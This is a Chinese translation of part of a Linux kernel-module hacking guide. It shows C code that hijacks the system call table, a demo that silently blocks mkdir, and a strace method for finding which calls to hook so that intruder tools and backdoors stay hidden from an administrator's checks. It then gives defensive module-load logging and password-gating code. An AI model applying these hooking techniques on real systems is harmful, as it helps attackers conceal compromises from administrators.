作 者: Pragmatic
第二部分 漸入佳境
2.1 如何截獲系統調用
現在我們開始入侵LKM,在正常情況下LKMs是用來擴展內核的(特別是那些硬體驅動)。然而我們的『Hacks』做一些不一樣的事情。他們會截獲系統調用並且更改他們,為了改變系統某些命令的響應方式。
下面的這個模塊可以使得任何用戶都不能創建目錄。這隻不過是我們隨後方法的一個小小演示。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*sys_call_talbe 被引入,所以我們可以存取他*/
int (*orig_mkdir)(const char *path);
/*原始系統調用*/
int hacked_mkdir(const char *path)
{
return 0;
/*其他一切正常,除了新建操作,該操作什麼也不做*/
}
int init_module(void)
/*初始化模塊*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
/*卸載模塊*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*恢復mkdir系統調用到原來的哪個*/
}
編譯並啟動這個模塊(見1.1)。然後嘗試新建一個目錄,你會發現不能成功。由於返回值是0(代表一切正常)我們得不到任何出錯信息。在移區模塊之後,我們又可以新建目錄了。正如你所看到的,我們只需要改變sys_call_table(見1.2)中相對應的入口就可以截獲到系統調用了。
截獲系統調用的通常步驟如下:
找到你需要的系統調用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)
保存sys_call_table[x]的舊入口指針。(在這裡x代表你所想要截獲的系統調用的索引)
將你自己定義的新的函數指針存入sys_call_table[x]
你會意識到保存舊的系統調用指針是十分有用的,因為在你的新調用中你會需要他來模擬原始調用。當你在寫一個'Hack-LKM'時你所面對的第一個問題是:
我到底該截獲哪個系統調用?
2.2一些有趣的系統調用
你並不是一個管理內核的上帝,因此你不知道每一個用戶的應用程序或者命令到底使用了那些系統調用。因此我會給你一些提示來幫助你找到獲得控制的系統調用。
讀源代碼。在一個象linux這樣的系統中,你可以找到任何一個用戶(或者管理員)所用的程序的源代碼。一旦你發現了某個基本的函數,像dup,open,write.....轉向b
下面看看include/sys/syscall.h(見1.2)。試著去直接找相對應的系統調用(查找dup->你就會發現SYS_dup,查找write,你就會發現SYS_write;....)。如果沒有找到轉向c
一些象socket,send,receive,....這樣的調用並不是通過一個系統調用實現的--正如我以前說過的那樣。這時就要看一看包含相關係統調用的頭文件。
要記住並不是每一個c庫裡面的函數都是系統調用。絕大多數這樣的函數和系統調用毫無關係。一個稍微有一點經驗的hacker會看看1.2裡面的列表,那已經提供了足夠的信息。例如你要知道用戶id管理是通過uid的系統調用實現的等等。如果你真的想確定你可以看看庫函數/內核的源代碼。
最困難的問題是一個系統管理員寫了自己的應用程序來檢查系統的完整性或者安全性。關於這些程序的問題在於缺乏源代碼。我們不能確定這個程序到底是如何工作的以及我們應該截獲那些系統調用來隱藏我們的禮物/工具。甚至有可能他引入了一個截獲hacker們經常使用的系統調用的LKM來隱藏他自己,並檢查系統的安全性(系統管理員們經常使用一些黑客技術來保護他們的系統)。
那我們應該如何繼續呢?
2.2.1 發現有趣的系統調用(strace方法)
假定你已經知道了某個系統管理員用來檢查系統的程序(這個可以通過某些其他的方法得到,象TTY hijacking(見2.9/appendix
a),現在唯一的問題是你需要讓你的禮物躲過系統管理員的程序直到.....)。
好,現在用strace來運行這個程序(也許你需要root許可權來執行他)
# strace super_admin_proggy
這會給你一個十分棒的關於這個程序的每個系統調用的輸出。這些系統調用有可能都要加入到你的hacking LKM當中去。我並沒有一個這樣的管理程序作為例子給你看。但是我們可以看看』strace whoami『的輸出:
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or
directory)
open("/lib/libc.so.5", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)
= 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
brk(0x804aa48) = 0x804aa48
brk(0x804b000) = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40008000
read(3, "# Locale name alias data base\n#"..., 4096) = 2005
brk(0x804c000) = 0x804c000
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40008000, 4096) = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file
or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3) = 0
geteuid() = 500
open("/etc/passwd", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
close(3) = 0
munmap(0x4000b000, 4096) = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
write(1, "r00t\n", 5r00t
) = 5
_exit(0) = ?
這確實是一個非常美妙的關於命令』whoami『的系統調用列表,不是么?在這裡為了控制』whoami『的輸出需要攔截4個系統調用
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
可以看看2.6的哪個程序的實現。這種分析程序的方法對於顯示其他基本工具的信息也是十分重要的。
我希望現在你能夠找到那些能夠幫助你隱藏你自己的,或者做系統後門,或者任何你想做的事情的系統調用.
第三部分 解決方案(給系統管理員)
3.1 LKM檢測的理論和想法
我想現在該到幫助我們的系統管理員來保護他們的系統的時候了。在解釋一些理論以前,為了使你的系統變的安全,請記住如下的基本原則:
絕對不要安裝你沒有源代碼的LKMs。(當然,這對於普通的可執行文件也適用)
如果你有了源代碼,要仔細檢查他們(如果你能夠的話)。還記得tcpd木馬問題嗎?大的軟體包很複雜,因此很難看懂。但是如果你需要一個安全的系統,你必須分析源代碼。
甚至你已經遵守了這些原則,你的系統還是有可能被別人闖入並放置LKM(比如說溢出等等)。
因此,可以考慮用一個LKM記錄每一個模塊的載入,並且拒絕任何一個不是從指定安全安全目錄的模塊的載入企圖。(為了防止簡單的溢出。不存在完美的方法...)。記錄功能可以通過攔截create_module(...)來很輕易的實現。用同樣的方法你也可以檢查模塊載入的目錄.
當然拒絕任何的模塊的載入也是有可能的。但是這是一個很壞的方法。因為你確實需要他們。因此我們可以考慮改變模塊的載入方式,比如說要一個密碼。密碼可以在你控制的create-module(...)裡面檢查。如果密碼正確,模塊就會被載入,否則,模塊被丟棄。
要注意的是你必須掩藏你的模塊並使他不可以被卸栽。因此,讓我們來看看一些記錄LKM和密碼保護的實現的原型。(通過保護的create_module(...)系統調用)。
3.1.1 一個使用的檢測器的原形
對於這個簡單的例子,沒有什麼可以說的。只不過是攔截了sys_create_module(...)並且記錄下了載入的模塊的名字。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
int (*orig_create_module)(char*, unsigned long);
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;
kernel_name = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_name, name, 255);
/*這裡我們向syslog記錄,但是你可以記錄到任何你想要的地方*/
printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
ret=orig_create_module(name, size);
return ret;
}
int init_module(void)
/*初始化模塊*/
{
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
return 0;
}
void cleanup_module(void)
/*卸載模塊*/
{
sys_call_table[SYS_create_module]=orig_create_module;
}
這就是所有你需要的。當然,你必須加一些代碼來隱藏這個模塊,這個應該沒有問題。在使得這個模塊不可以被卸載以後,一個hacker只可以改變記錄文件了。但是你也可以把你的記錄文件存到一個不可被接觸的文件中去(看2.1來獲得相關的技巧).當然,你也可以攔截sys_init_module(...)來顯示每一個模塊。這不過是一個品位問題。
3.1.2 一個密碼保護的create_module(...)的例子
這一節我們會討論如何給一個模塊的載入加入密碼校驗。我們需要兩件事情來完成這項任務:
一個檢查模塊載入的方法(容易)
一個校驗的方法(相當的難)
第一點是十分容易實現的。只需要攔截sys_create_module(...),然後檢查一些變數,內核就會知道這次載入是否合法了。但是如何進行校驗呢?我必須承認我沒有花多少時間在這個問題上。因此這個方案並不是太好。但是這是一篇LKM的文章,因此,使用你的頭腦去想一些更好的辦法。我的方法是,攔截stat(...)系統調用。當你敲任何命令時,系統需要搜索他,stat就會被調用.
因此,在敲命令的同時敲一個密碼,LKM會在攔截下的stat系統調用中檢查他.[我知道這很不安全;甚至一個Linux
starter都可以擊敗這種機制.但是(再一次的)這並不是這裡的重點....].看看我的實現(我從plaguez的一個類似的LKM中直接搶過來了很多現存的代碼....)
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*如果lock_mod=1 就是允許載入一個模塊*/
int lock_mod=0;
int __NR_myexecve;
/*攔截create_module(...)和stat(...)系統調用*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat) (const char *, struct old_stat*);
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));
return dest;
}
int hacked_stat(const char *filename, struct old_stat *buf)
{
char *name;
int ret;
char *password = "password";
/*yeah,一個很好的密碼*/
name = (char *) kmalloc(255, GFP_KERNEL);
(void) strncpy_fromfs(name, filename, 255);
/*有密碼么?*/
if (strstr(name, password)!=NULL)
{
/*一次僅允許載入一個模塊*/
lock_mod=1;
kfree(name);
return 0;
}
else
{
kfree(name);
ret = orig_stat(filename, buf);
}
return ret;
}
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;
if (lock_mod==1)
{
lock_mod=0;
ret=orig_create_module(name, size);
return ret;
}
else
{
printk("<1>MOD-POL : Permission denied !\n");
return 0;
}
return ret;
}
int init_module(void)
/*初始化模塊*/
{
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
__NR_myexecve--;
sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];
orig_stat=sys_call_table[SYS_prev_stat];
sys_call_table[SYS_prev_stat]=hacked_stat;
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
printk("<1>MOD-POL LOADED...\n");
return 0;
}
void cleanup_module(void)
/*卸載模塊*/
{
sys_call_table[SYS_prev_stat]=orig_stat;
sys_call_table[SYS_create_module]=orig_create_module;
}
代碼本身很清楚.下面將會告訴你如何才能讓你的LKM更安全,也許這有一些多疑了 :) :
使用另外一種檢驗方式(使用你自己的用戶空間介面,使用你自己的系統調用;使用用戶的ID(而不僅僅是普通的密碼);也許你有一個生物監測設備->讀一些文檔並且在linux下編寫自己的設備驅動,然後使用他 :) ...)但是,要記住:哪怕是最安全的硬體保護(軟體狗,生物監測系統,一些硬體卡)也常常脆弱的不安全的軟體而被擊敗.你可以使用一種這樣的機制來讓你的系統變得安全:用一塊硬體卡來控制你的整個內核.
另外一種不這麼極端的方法可以是寫你自己的系統調用來負責校驗.(見2.11,那裡有一個創建一個你自己的系統調用的例子)
找到一個更好的方法在sys_create_module(...)中進行檢查.檢查一個變數並不是十分的安全.如果某些人控制了你的系統.他是可以修改內存的(見下一章)
找到一個方法使得一個入侵者沒有辦法通過你的校驗來載入他的LKM
加入隱藏的功能.
...
有很多工作可以做.但是即使有了這些工作,你的系統也不是完全就是安全的.如果某些人控制了你的系統,他是可以發現一些方法來載入他的LKM的(見下一章);甚至他並不需要一個LKM,因為他只是控制了這個系統,並不想隱藏文件或者進程(和其他的LKM提供的美妙的功能).
3.2 防止LKM傳染者的方法
內存駐留的掃描程序(實時的)(就像DOS下的TSR病毒掃描;或者WIN9x下的VxD病毒掃描)
文件檢查掃描器(檢查模塊文件裡面的特徵字串)
第一種方法可以通過攔截sys_create_module實現(或者init_module調用).第二種方法需要一些模塊文件的特徵字串.因此我們必須檢查兩個elf文件頭或者標誌位.當然,其他的一些LKM傳染者可能使用一些改進了的方法.(加密,自我更改代碼等等).我不會提供一個檢查文件的掃描器.因為你只不過需要寫一個小的用戶空間的程序來讀進模塊文件,並且檢查兩種elf文件頭
[火星人
]
Linux可卸載內核模塊完全指南(二)已經有581次圍觀
http://coctec.com/docs/program/show-post-72419.html